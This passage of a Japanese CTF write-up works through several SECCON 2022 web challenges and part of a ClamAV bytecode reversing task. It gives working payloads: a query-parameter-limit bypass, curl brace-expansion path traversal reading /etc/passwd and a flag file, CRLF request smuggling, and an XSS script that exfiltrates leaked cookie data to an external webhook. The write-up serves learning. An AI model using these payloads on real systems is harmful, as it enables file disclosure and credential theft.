app.listen({ port: PORT, host: "0.0.0.0" }, () => {
  console.log(`Server listening at ${PORT}`);
});

これらを見て、次のようなことを考えて、試していた。

  • めちゃくちゃ長いクエリパラメータにしたら、nginxが空気を読んでNode.jsに渡すときに proxy=nginx より前で切ってくれるかも
    • → 限界まで伸ばしたら414で怒られた
  • proxy=hoge みたいに同名のパラメータを付け加えたら、いずれか一方だけを採用するのでは
    • console.log(req.query) でパラメータを出力する処理を加えて検証した
    • デフォルトでは、Expressは proxy=hoge&proxy=fuga のように同名のパラメータがある場合には、{ proxy: ['hoge', 'fuga'] } のように配列として扱うっぽい
    • → 文字列ではなくなったが、配列にも Array.prototype.includes はあるし、['hoge', 'nginx'].includes('nginx') は当然trueなのでダメ
  • proxy[a]=hogeproxy[toString]=hoge のように req.query.proxy をオブジェクトにしてしまえばよいのでは
    • → オブジェクトには includes メソッドがないので、req.query.proxy.includes("nginx") で例外が発生して終わり
  • proxy[1]=hoge のようにすれば、要素が書き換えられるのでは
    • → 以下のように要素がぴょこぴょこ動くだけだった
$ curl -g --path-as-is "localhost:8080?proxy=a&proxy=b"
{ proxy: [ 'a', 'b', 'nginx' ] }
$ curl -g --path-as-is "localhost:8080?proxy[1]=a&proxy=b"
{ proxy: [ 'b', 'a', 'nginx' ] }
$ curl -g --path-as-is "localhost:8080?proxy[2]=a&proxy=b"
{ proxy: [ 'b', 'nginx', 'a' ] }

こういう試行錯誤を繰り返した。最終的に、proxy=a を1000個くっつけた場合に変なことが起こった。

$ cat s.py
import requests
r = requests.get(f'http://skipinx.seccon.games:8080/?' + 'proxy=a&' * 1000)
print(r.text)
$ python3 s.py
Congratz! You got a flag: SECCON{sometimes_deFault_options_are_useful_to_bypa55}

フラグが得られた。

SECCON{sometimes_deFault_options_are_useful_to_bypa55}

問題名を見てすきぴ…? と思ったけど全然違った。あまりに奇妙な挙動だったので、後からその理由を調べた。Expressでは、クエリパラメータのパースにデフォルトでは qsというパッケージが使われている。qs には parameterLimit というオプションがあり、この値として設定されている個数を上限としてパラメータがパースされる。たとえば、parameterLimit が3である場合に a=1&b=2&c=3&d=4 というクエリパラメータが渡されれば、最初の3個のパラメータである a, b, c だけがパースされる。デフォルトでは parameterLimit は1000なので、先程のソルバでは1001個目のパラメータとなる proxy=nginx は無視されたということになる。

[Web 124] easylfi (62 solves)

Can you read my secret?

添付ファイル: easylfi.tar.gz

与えられたURLにアクセスすると、以下のように名前の入力を求められる。

適当に入力すると /hello.html?%7Bname%7D=(入力した名前) に飛ばされ、以下のように描画される。

添付されているソースコードを確認していく。Dockerfile には COPY flag.txt / という処理があり、/flag.txt をなんとかして読み取ることが目的であるとわかる。WebアプリはPython製で、処理は app.py という以下の1ファイルにまとまっている。validatetemplate という2つの関数からなる自作のテンプレートエンジンが乗っかっているっぽい。/index.html/hello.html にアクセスすると、public/(ファイル名) からテンプレートを引っ張ってきて、クエリパラメータをもとにレンダリングするらしい。

from flask import Flask, request, Response
import subprocess
import os

app = Flask(__name__)


def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid


def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)
    return text


@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response


@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("

    try:
        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout"

    if proc.returncode != 0:
        return "Something wrong..."
    return template(proc.stdout.decode(), request.args)

レンダリングといっても処理は単純だ。パラメータのうち、{name} のように { から始まり } で終わる(また、始めと終わり以外に {} が含まれない)キーについて、テンプレートに対応する文字列が含まれていればそのパラメータの値に置換する。もしルールに違反する name などのキーがパラメータに存在していれば、その時点で Invalid key と言われて処理が中断される。

def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid


def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)
    return text

ファイルを取得してくる処理は以下のようになっている。なぜか curl が使われている。まず考えるのはPath Traversalで /flag.txt を表示させることだが、残念ながら ..% がリクエストしたファイル名に含まれる場合には弾かれてしまう。そもそも、レスポンスに SECCON という文字列が含まれている場合には waf によって弾かれてしまうので、/flag.txtcurl に取得させたところでもうひと頑張りする必要がある。

@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response


@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("

    try:
        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout"

    if proc.returncode != 0:
        return "Something wrong..."
    return template(proc.stdout.decode(), request.args)

せめて public/ 下以外のファイルを出力させられないかと考えたところで、ひとつ思いつく。curlhttps://example.com/{a,b,c} のようにブレースを使うと複数のファイルを表示させられるのではないか。試しに hello.html を2回表示させようとしてみると、できた。

$ curl -g "http://easylfi.seccon.games:3000/{hello.html,hello.html}"
--_curl_--file:///app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>
--_curl_--file:///app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>

さらに、..{.}. のように表現することで waf をバイパスできるのではないかと考え試してみたところ、できた。

$ curl -g "http://easylfi.seccon.games:3000/{.}./{.}./{.}./etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

もちろんこの脆弱性を使って /flag.txt を取得させることもできるが、waf によって阻まれてしまう。なんとかしてバイパスできないか。たとえば、フラグの SECCON の部分を削除できないか。SECCON=hoge のようなパラメータを与えれば SECCONhoge に置換できるのではないかと考えたが、validate によってキーが { から始まり } で終わっているかチェックされているので、残念ながらできない。

validate がわざわざ enumerate でぶん回すという妙な実装になっているのが気になって色々試していると、validate('{') の返り値がTrueであることに気づいた。なるほど、validate は文字数のチェックをしていないし、i == len(key) - 1 のチェックも elif の部分なので、すでに最初の if i == 0 のチェックを通っている以上なされないのか。

この挙動を使えば、{=} のようなクエリパラメータを与えてフラグを表示させようとすると、SECCON}…} のように置換されるはず。別の { の後に } が出現しないファイルをその前に出力させた上で、{…SECCON} を別の文字列に置換させることで waf をバイパスできそうだ。そのようなファイルを探すPythonスクリプトを書く。

import glob
import os.path

fns = glob.glob('/usr/**', recursive=True)
for fn in fns:
  if 'proc' in fn:
    continue
  if not os.path.isfile(fn):
    continue

  with open(fn, 'rb') as f:
    s = f.read()

    try:
      s.decode('utf-8')
      i = s.rindex(b'{')
      if b'}' not in s[i:]:
        print(len(s[i:]), fn)
    except:
      pass

手元の問題環境でそのコードを実行する。いくつか見つかった。/usr/include/rpcsvc/nis.x{ より後にある文字の数が少ないので、これを使うことにする。

$ python3 s.py
17 /usr/include/rpcsvc/nis.x
3479 /usr/lib/x86_64-linux-gnu/perl/5.32/Compress/Raw/Zlib.pm
3479 /usr/lib/x86_64-linux-gnu/perl/5.32.1/Compress/Raw/Zlib.pm
10999 /usr/lib/python3.9/logging/__init__.py
1429 /usr/lib/python3.9/json/scanner.py
444 /usr/share/doc/unzip/BUGS
825 /usr/share/doc/mercurial/examples/vim/hg-menu.vim
825 /usr/share/doc/mercurial-common/examples/vim/hg-menu.vim
1196346 /usr/share/mime/packages/freedesktop.org.xml
3109 /usr/local/include/python3.10/Python.h
11208 /usr/local/lib/python3.10/logging/__init__.py
1429 /usr/local/lib/python3.10/json/scanner.py
504 /usr/local/lib/python3.10/site-packages/setuptools/logging.py

気をつけてペイロードを組み立てると、フラグが得られた。

$ curl --output - -g --path-as-is "http://easylfi.seccon.games:3000/{.}./{.}./{/usr/include/rpcsvc/nis.x,flag.txt}?{=}{&{%0a%25%23endif%0a%23endif%0a--_curl_--file:///app/public/../../flag.txt%0aSECCON}=SECCOn"
...
%#ifndef __nis_3_h
%#define __nis_3_h
%#ifdef __cplusplus
%extern "C" }SECCOn{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}
SECCON{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}

validate('{') の返り値がTrueであることに気づくまでに時間がかかった。めちゃくちゃ面白いパズル問だった。よくこんな問題思いつくなあ。

[Web 149] bffcalc (41 solves)

There is a simple calculator!

添付ファイル: bffcalc.tar.gz

Please confirm that you can get a dummy flag on your local server before you try your attack on the remote server.

Note: The services restart every 10 minutes.

与えた計算式を計算してくれる便利なWebアプリ。右下のReportボタンを押すことで、計算式をadminと共有することもできるようだ。

*3

adminにreportできるという点でXSS問っぽい。実はXSSは簡単にできて、<img src=x onerror=alert(123)> のような「計算式」を投げるとJSコードが実行できる。CSPなどはない。問題はフラグの保存のされ方で、添付されているソースコードにあるXSS botのコードを確認してみると、なんとフラグが含まれるCookieがhttpOnlyであることがわかる。これではXSSだけではフラグが手に入れられない。どうしろというのか。

  await page.setCookie({
    name: "flag",
    value: FLAG,
    domain: APP_HOST,
    path: "/",
    httpOnly: true,
  });

ソースコードをじっくり確認していく。この問題は不思議な構成で、nginx → bffbackend のように3つのサーバからなっている。nginxから見ていく。nginxの設定ファイルは以下のような内容で、単なるリバースプロキシで特に問題があるようには見えない。次。

server {
  listen 3000 default_server;
  server_name nginx;

  # ref. https://www.fastify.io/docs/latest/Guides/Recommendations/#nginx
  proxy_http_version 1.1;
  proxy_cache_bypass $http_upgrade;
  proxy_set_header Upgrade $http_upgrade;
  proxy_set_header Connection 'upgrade';
  proxy_set_header Host $host;
  proxy_set_header X-Real-IP $remote_addr;
  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  proxy_set_header X-Forwarded-Proto $scheme;

  location = /report {
    proxy_pass http://report:3000;
  }

  location / {
    proxy_pass http://bff:3000;
  }
}

bff は以下のPythonコードで動いている。これもリバースプロキシではあるが、わざわざHTTPリクエストを組み立てて backend に投げている。HTTP Request Smugglingでもするのだろうかと思う。次。

import cherrypy
import time
import socket


def proxy(req) -> str:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("backend", 3000))
    sock.settimeout(1)

    payload = ""
    method = req.method
    path = req.path_info
    if req.query_string:
        path += "?" + req.query_string
    payload += f"{method} {path} HTTP/1.1\r\n"
    for k, v in req.headers.items():
        payload += f"{k}: {v}\r\n"
    payload += "\r\n"

    sock.send(payload.encode())
    time.sleep(.3)
    try:
        data = sock.recv(4096)
        body = data.split(b"\r\n\r\n", 1)[1].decode()
    except (IndexError, TimeoutError) as e:
        print(e)
        body = str(e)
    return body


class Root(object):
    indexHtml = open("index.html").read()

    @cherrypy.expose
    def index(self):
        return self.indexHtml

    @cherrypy.expose
    def default(self, *args, **kwargs):
        return proxy(cherrypy.request)


cherrypy.config.update({"engine.autoreload.on": False})
cherrypy.server.unsubscribe()
cherrypy.engine.start()
app = cherrypy.tree.mount(Root())

backend は以下のPythonコードで動いている。expr というパラメータで与えられた計算式について、50文字未満かつ 0123456789+-*/ という許可された文字種のみから構成されている場合にのみ、それを eval して計算する。Cookieはこの backend まで届くはずなので、なんとかして悪いコードを実行させて eval に吐き出させられないだろうかと一瞬考えた。だが、さすがに使える文字種がこれだけだと何も悪いことはできない。

import cherrypy


class Root(object):
    ALLOWED_CHARS = "0123456789+-*/ "

    @cherrypy.expose
    def default(self, *args, **kwargs):
        expr = str(kwargs.get("expr", 42))
        if len(expr) < 50 and all(c in self.ALLOWED_CHARS for c in expr):
            return str(eval(expr))
        return expr


cherrypy.config.update({"engine.autoreload.on": False})
cherrypy.server.unsubscribe()
cherrypy.engine.start()
app = cherrypy.tree.mount(Root())

eval 中でエラーを発生させたら、デバッグメッセージとしてCookieが出力されないだろうかとも考えた。だが、1/0 を計算させても以下のようにスタックトレースなどが出力されるだけで、Cookieは出力されなかった。

そういうわけで、backend ではこれ以上何もできないだろうし、bff が一番怪しく見える。

bff ではパスやヘッダなどをもとにHTTPリクエストを組み立てていたが、どこかでCRLF Injection(というのはこのようなシチュエーションでも言えるのだろうか)ができないだろうか。HTTPリクエストが組み立てられている処理で使われているユーザからのパラメータは以下の通り。

  • メソッド名: req.method
  • パス: req.path_info
  • クエリパラメータ: req.query_string
  • ヘッダ: req.headers

bff の処理に print(payload) を挿入して、組み立てたHTTPリクエストが出力されるようにする。参照されていたユーザからのパラメータについてそれぞれいじっていたところ、fetch('/api/a%0d%0a%0d%0a') とパスにCRLFを挿入した際に妙な挙動をした。パスがデコードされた上でHTTPリクエストに展開されており、ここでCRLF Injectionが起こっている。

/%3fexpr=a HTTP/1.1%0d%0aHost: localhost%0d%0a%0d%0aGET /%3fexpr=b のようにすると、以下のように2つのHTTPリクエストが含まれているようにみえるHTTPリクエストが組み立てられていることがわかる。

HTTPレスポンスを確認すると、以下のように2つ分のHTTPレスポンスが返ってきていた。これを使って、たとえばHTTPリクエストに Content-Type: application/x-www-form-urlencoded を含ませた上で Content-Length で調整しつつ、Cookie ヘッダの部分をHTTPリクエストボディなどとして扱わせることができるのではないか。

aHTTP/1.1 200 OK
Content-Length: 1
Content-Type: text/html;charset=utf-8
Date: Sun, 13 Nov 2022 23:43:28 GMT
Server: CherryPy/18.8.0
Via: waitress

b

そんな感じで色々試していたところ、/ HTTP/1.1%0d%0aHost: localhost%0d%0aContent-Length: 102%0d%0a%0d%0a のように Content-Length を中途半端な値にした場合に以下のようなHTTPレスポンスが返ってきているのが確認できた。ちょうど X-Real-Ip ヘッダの部分がHTTPリクエストラインとして解釈されるようになり、X-Real-Ip がメソッド名としておかしいためにこのようなエラーが発生したようだ。これを使ってフラグをリークさせられないか。

42HTTP/1.0 400 Bad Request
Connection: close
Content-Length: 76
Content-Type: text/plain; charset=utf-8
Date: Sun, 13 Nov 2022 23:48:30 GMT
Server: waitress

Bad Request

Malformed HTTP method "X-Real-Ip:"
(generated by waitress)

以下のようなスクリプトを自分のWebサーバでホストする。そして、<img src=x onerror="import('http://(略)/xxx.php')"> という「計算式」をreportする。

<?php
header('Content-type: application/javascript');
header('Access-Control-Allow-Origin: *');
?>

(async () => {
document.cookie = 'a=b';

for (let i = 350; i < 500; i += 10) {
  const r = await (await fetch(`/%3fexpr=a HTTP/1.1%0d%0aHost: localhost%0d%0aContent-Length: ${i}%0d%0a%0d%0a`)).text();
  if (r.includes('Malformed HTTP method')) {
    navigator.sendBeacon('http://webhook.site/(略)', JSON.stringify([i, r]));
  }
}

})();

しばらく待つと、以下のようにフラグの含まれるHTTPリクエストが飛んできた。

SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}

これもとても面白かった。よくこんな問題思いつくなあ。

[Reversing 168] Devil Hunter (31 solves)

Clam Devil; Asari no Akuma

添付ファイル: devil_hunter.tar.gz

問題の概要

添付ファイルを展開すると check.shflag.cbc というファイルが出てくる。check.sh は以下のような内容だった。clamscan というClamAVのファイルのスキャンができるツールを使って、与えたファイルがフラグかどうかチェックしてくれるスクリプトのようだ。-dflag.cbc と、なにやら flag.cbc を指定するオプションが付いている。

#!/bin/sh
if [ -z "$1" ]
then
    echo "[+] ${0} <flag.txt>"
    exit 1
else
    clamscan --bytecode-unsigned=yes --quiet -dflag.cbc "$1"
    if [ $? -eq 1 ]
    then
        echo "Correct!"
    else
        echo "Wrong..."
    fi
fi

clamscan のヘルプを見ると、これは flag.cbc を "virus database" とするオプションであるとわかる。どういうことか。

$ clamscan --help
…
    --database=FILE/DIR   -d FILE/DIR    Load virus database from FILE or load all supported db files from DIR
…

flag.cbc は以下のような内容だった。すべての文字がASCII範囲内であり、一部に Seccon.Reversing.{FLAG};Engine:56-255,Target:0;0;0:534543434f4e7b のように意味のある文字列が含まれているものの、全体としてはよくわからない。

最初の ClamBC という6バイトがマジックナンバーではないかと思いググってみたところ、clambc というツールの説明がいくつかヒットした。どうやらこのファイルはbytecode signatureというものらしい。

$ xxd flag.cbc
00000000: 436c 616d 4243 6166 6861 696f 606c 6663  ClamBCafhaio`lfc
00000010: 667c 6161 6060 6063 6060 6160 6060 7c61  f|aa```c``a```|a
00000020: 6860 636e 6261 6360 6365 636e 6260 6360  h`cnbac`cecnb`c`
00000030: 6062 6561 6163 7060 636c 616d 636f 696e  `beaacp`clamcoin
00000040: 6369 6465 6e63 656a 623a 3430 3936 0a53  cidencejb:4096.S
00000050: 6563 636f 6e2e 5265 7665 7273 696e 672e  eccon.Reversing.
00000060: 7b46 4c41 477d 3b45 6e67 696e 653a 3536  {FLAG};Engine:56
00000070: 2d32 3535 2c54 6172 6765 743a 303b 303b  -255,Target:0;0;
00000080: 303a 3533 3435 3433 3433 3466 3465 3762  0:534543434f4e7b
00000090: 0a54 6564 6461 6161 6864 6162 6168 6461  .Teddaaahdabahda
…

clambc はbytecode signatureのテストや解析に使えるツールだそうだが、このバイトコードを読める形に変換してくれるだろうか。試しにヘルプで "Print bytecode source" と説明されていた --printsrc オプションを投げてみたが、なにやら細工がされているようで以下のようなメッセージが表示されてしまった。

$ clambc -p flag.cbc
not so easy :P

"Print IR of bytecode signature" と説明されていた --printbcir オプションでは、ちゃんとバイトコードを読める形で出力してくれた。これを読んでいきたい。F.0, F.1, F.2 の3つの関数が存在しているが、F.0F.1 を呼び出し、さらに F.1F.2 を呼び出すという関係があるので、おそらく F.0 がエントリーポイントだろう。ここから読んでいく。

$ clambc --printbcir flag.cbc
found 21 extra types of 85 total, starting at tid 69
TID  KIND                INTERNAL
------------------------------------------------------------------------
…
########################################################################
####################### Function id   0 ################################
########################################################################
found a total of 4 globals
GID  ID    VALUE
------------------------------------------------------------------------
  0 [  0]: i0 unknown
  1 [  1]: [22 x i8] unknown
  2 [  2]: i8* unknown
  3 [  3]: i8* unknown
------------------------------------------------------------------------
found 2 values with 0 arguments and 2 locals
VID  ID    VALUE
------------------------------------------------------------------------
  0 [  0]: i1
  1 [  1]: i32
------------------------------------------------------------------------
found a total of 2 constants
CID  ID    VALUE
------------------------------------------------------------------------
  0 [  2]: 21(0x15)
  1 [  3]: 0(0x0)
------------------------------------------------------------------------
found a total of 4 total values
------------------------------------------------------------------------
FUNCTION ID: F.0 -> NUMINSTS 5
BB   IDX  OPCODE              [ID /IID/MOD]  INST
------------------------------------------------------------------------
  0    0  OP_BC_CALL_DIRECT   [32 /160/  0]  0 = call F.1 ()
  0    1  OP_BC_BRANCH        [17 / 85/  0]  br 0 ? bb.1 : bb.2

  1    2  OP_BC_CALL_API      [33 /168/  3]  1 = setvirusname[4] (p.-2147483645, 2)
  1    3  OP_BC_JMP           [18 / 90/  0]  jmp bb.2

  2    4  OP_BC_RET           [19 / 98/  3]  ret 3
------------------------------------------------------------------------
…

バイトコードを読む

読んでいくと言っても、このバイトコードについてググってもほとんど情報が見つからない。仕方がないので、ClamAVに含まれるVMのソースコードなども参考にしつつ、出力された情報がそれぞれどんな意味を持っているか確認していく。

まず各関数の最初に出力されている、変数と定数について確認する。上から4つはグローバル変数で、残りの2つの関数でも同じものが出力されている。続いてローカル変数とこの関数で使われている定数が出力されているが、ローカル変数と定数とで関係なく通しの番号(ID)が振られている。型は i1, i32, [22 x i8] といったような表記でLLVMっぽい。

found a total of 4 globals
GID  ID    VALUE
------------------------------------------------------------------------
  0 [  0]: i0 unknown
  1 [  1]: [22 x i8] unknown
  2 [  2]: i8* unknown
  3 [  3]: i8* unknown
------------------------------------------------------------------------
found 2 values with 0 arguments and 2 locals
VID  ID    VALUE
------------------------------------------------------------------------
  0 [  0]: i1
  1 [  1]: i32
------------------------------------------------------------------------
found a total of 2 constants
CID  ID    VALUE
------------------------------------------------------------------------
  0 [  2]: 21(0x15)
  1 [  3]: 0(0x0)
------------------------------------------------------------------------
found a total of 4 total values

関数の本体を見ていく。各命令やオペランドの意味は、命令の名前やINSTに表示されている説明を見るとなんとなくわかる。ときどきわからないものも出てくるけれども、VMソースコードとかを確認すればよい。

各命令にはIDXとインデックスが振られているほか、別にBBという番号も振られている。これは OP_BC_JMPOP_BC_BRANCH といったジャンプする命令で使われる番号で、たとえば jmp bb.2 ではBBが2である最初の命令にジャンプするし、br 0 ? bb.1 : bb.2 ではIDが0のローカル変数・定数の値によって、bb.1bb.2 のいずれかのブランチにジャンプする。

命令中では、ローカル変数や定数は先程説明したIDによって参照される。たとえば、IDXが0の命令である 0 = call F.1 () では、F.1 という関数を呼び出して、その返り値をIDが0であるローカル変数に格納する。別の関数にある命令だが、37 = 130 * 131 はIDがそれぞれ130, 131であるローカル変数もしくは定数をかけ合わせた上で、IDが37であるローカル変数に格納する。19 = read[1] (p.3, 117) という命令のように、IDの前に p. というプレフィクスが付いた場合には、そのローカル変数をポインタとして扱うことを意味する。おそらく。

これらのことを踏まえてこの関数を読んでいく。F.1 を呼び出して、その返り値がtrueであれば bb.1 に、falseであれば bb.2 にジャンプしている。OP_BC_CALL_API というのは read, write, setvirusname といったAPIを呼び出せる命令で、いわばシステムコールのようなもの。どんなAPIがあるかは、bytecode_api.h で確認できる。今回 bb.1 で呼び出されているのは setvirusname で、発見されたウイルスの名前を設定するらしい。この挙動の差異で clamscan の終了コードを変えるのだろう。

FUNCTION ID: F.0 -> NUMINSTS 5
BB   IDX  OPCODE              [ID /IID/MOD]  INST
------------------------------------------------------------------------
  0    0  OP_BC_CALL_DIRECT   [32 /160/  0]  0 = call F.1 ()
  0    1  OP_BC_BRANCH        [17 / 85/  0]  br 0 ? bb.1 : bb.2

  1    2  OP_BC_CALL_API      [33 /168/  3]  1 = setvirusname[4] (p.-2147483645, 2)
  1    3  OP_BC_JMP           [18 / 90/  0]  jmp bb.2

  2    4  OP_BC_RET           [19 / 98/  3]  ret 3

次は F.1 を読んでいきたいが、ちょっと長いのでかいつまんで説明する。いくつか聞き慣れない命令があるので確認すると、

  • OP_BC_ICMP_ULT: Internet Control Message Protocolとは関係ない。ICMP はintegerのcompare、ULT はunsignedとしてのless thanを意味するっぽい
  • OP_BC_GEPZ: GEPは GetElementPtr を意味するっぽい。x86LEA みたいなもんかな
  • OP_BC_SEXT: signedなextensionっぽい

といった感じだった。だいたいLLVMの命令セットにもとづいていそうなので、困ったらLLVMのマニュアルを参照すればよさそう。

この関数がどんな挙動をするか確認する。最初の bb.0 でまず seek(7, 0) しているが、これは seek の実装も確認すると、与えられたファイルの頭7バイトを読み飛ばしていることがわかる。与えられているファイルは flag.txt なので、SECCON{ の部分を読み飛ばしているのだろう。

FUNCTION ID: F.1 -> NUMINSTS 115
BB   IDX  OPCODE              [ID /IID/MOD]  INST
------------------------------------------------------------------------
  0    0  OP_BC_GEPZ          [36 /184/  4]  5 = gepz p.4 + (104)
  0    1  OP_BC_GEPZ          [36 /184/  4]  7 = gepz p.6 + (105)
  0    2  OP_BC_CALL_API      [33 /168/  3]  8 = seek[3] (106, 107)
  0    3  OP_BC_COPY          [34 /174/  4]  cp 108 -> 2
  0    4  OP_BC_JMP           [18 / 90/  0]  jmp bb.2

1文字ずつ read してるっぽい処理。IDX 5の 9 = (18 < 109) で参照されているID 18は何文字読み込んだかというループカウンタ、ID 109は36という定数で、要は36文字読み込むまで read し続けている。read の第一引数は読み込み先のアドレスを、第二引数は読み込むバイト数を意味している。読み込み先はID 4のローカル変数(型は alloc [36 x i8])だ。

IDX 15の 17 = (16 < 114) とIDX 18の br 17 ? bb.7 : bb.1 について、ID 16は read の返り値、つまり読み込んだバイト数で、ID 114は1という定数であるから、もしファイルからの読み込みができなければ(SECCON{ 以降に36文字なければ) bb.7 にジャンプするという処理をしていることになる。

  1    5  OP_BC_ICMP_ULT      [25 /129/  4]  9 = (18 < 109)
  1    6  OP_BC_COPY          [34 /174/  4]  cp 18 -> 2
  1    7  OP_BC_BRANCH        [17 / 85/  0]  br 9 ? bb.2 : bb.3

  2    8  OP_BC_COPY          [34 /174/  4]  cp 2 -> 10
  2    9  OP_BC_SHL           [8  / 44/  4]  11 = 10 << 110
  2   10  OP_BC_ASHR          [10 / 54/  4]  12 = 11 >> 111
  2   11  OP_BC_TRUNC         [14 / 73/  3]  13 = 12 trunc ffffffffffffffff
  2   12  OP_BC_GEPZ          [36 /184/  4]  14 = gepz p.4 + (112)
  2   13  OP_BC_GEP1          [35 /179/  4]  15 = gep1 p.14 + (13 * 65)
  2   14  OP_BC_CALL_API      [33 /168/  3]  16 = read[1] (p.15, 113)
  2   15  OP_BC_ICMP_SLT      [30 /153/  3]  17 = (16 < 114)
  2   16  OP_BC_ADD           [1  /  9/  0]  18 = 10 + 115
  2   17  OP_BC_COPY          [34 /174/  4]  cp 116 -> 0
  2   18  OP_BC_BRANCH        [17 / 85/  0]  br 17 ? bb.7 : bb.1

bb.7 は以下のようにID 0のローカル変数を返り値に関数を終了している処理になっている。ここまででこのローカル変数は一切触られていないが、何が入っているのだろう。0かな。

  7  112  OP_BC_COPY          [34 /174/  4]  cp 0 -> 102
  7  113  OP_BC_TRUNC         [14 / 70/  0]  103 = 102 trunc ffffffffffffffff
  7  114  OP_BC_RET           [19 / 95/  0]  ret 103

bb.1, bb.2 の読み込み処理がいい感じに終わると bb.3 に飛ぶ。もう1文字 read して、IDX 22の 22 = (21 == 119) でID 119の定数と比較している。その値は125で、ASCIIに直すと } だ。それでフラグが終わりかチェックしているらしい。もしそうなら bb.4 に、そうでなければ bb.7 に飛んでいる。

  3   19  OP_BC_CALL_API      [33 /168/  3]  19 = read[1] (p.3, 117)
  3   20  OP_BC_ICMP_SGT      [27 /138/  3]  20 = (19 > 118)
  3   21  OP_BC_COPY          [34 /171/  1]  cp 3 -> 21
  3   22  OP_BC_ICMP_EQ       [21 /106/  1]  22 = (21 == 119)
  3   23  OP_BC_AND           [11 / 55/  0]  23 = 20 & 22
  3   24  OP_BC_COPY          [34 /174/  4]  cp 120 -> 0
  3   25  OP_BC_BRANCH        [17 / 85/  0]  br 23 ? bb.4 : bb.7

bb.4 ではまた read している。IDX 27の 25 = (24 > 122) で参照されているID 122の定数は0で、要は } より後に何もないかチェックしているようだ。もし何かあれば bb.7 に、何もなければ bb.5 に飛ぶ。

  4   26  OP_BC_CALL_API      [33 /168/  3]  24 = read[1] (p.3, 121)
  4   27  OP_BC_ICMP_SGT      [27 /138/  3]  25 = (24 > 122)
  4   28  OP_BC_COPY          [34 /174/  4]  cp 123 -> 1
  4   29  OP_BC_COPY          [34 /174/  4]  cp 124 -> 0
  4   30  OP_BC_BRANCH        [17 / 85/  0]  br 25 ? bb.7 : bb.5

先程読み込んだフラグについてなにやら処理をしている。IDX 37の load 32 <- p.31 で4バイト分読み込み(ID 32のローカル変数の型がi32であることからわかる)、それを引数として F.2 という関数を呼び出している。そして、その返り値をIDX 46の store 33 -> p.40 でID 7というローカル変数に格納している。これを9回繰り返す。全部終わったら bb.6 にジャンプする。

  5   31  OP_BC_COPY          [34 /174/  4]  cp 1 -> 26
  5   32  OP_BC_SHL           [8  / 44/  4]  27 = 26 << 125
  5   33  OP_BC_ASHR          [10 / 54/  4]  28 = 27 >> 126
  5   34  OP_BC_TRUNC         [14 / 73/  3]  29 = 28 trunc ffffffffffffffff
  5   35  OP_BC_GEPZ          [36 /184/  4]  30 = gepz p.4 + (127)
  5   36  OP_BC_GEP1          [35 /179/  4]  31 = gep1 p.30 + (29 * 65)
  5   37  OP_BC_LOAD          [39 /198/  3]  load  32 <- p.31
  5   38  OP_BC_CALL_DIRECT   [32 /163/  3]  33 = call F.2 (32)
  5   39  OP_BC_SHL           [8  / 44/  4]  34 = 26 << 128
  5   40  OP_BC_ASHR          [10 / 54/  4]  35 = 34 >> 129
  5   41  OP_BC_TRUNC         [14 / 73/  3]  36 = 35 trunc ffffffffffffffff
  5   42  OP_BC_MUL           [3  / 18/  0]  37 = 130 * 131
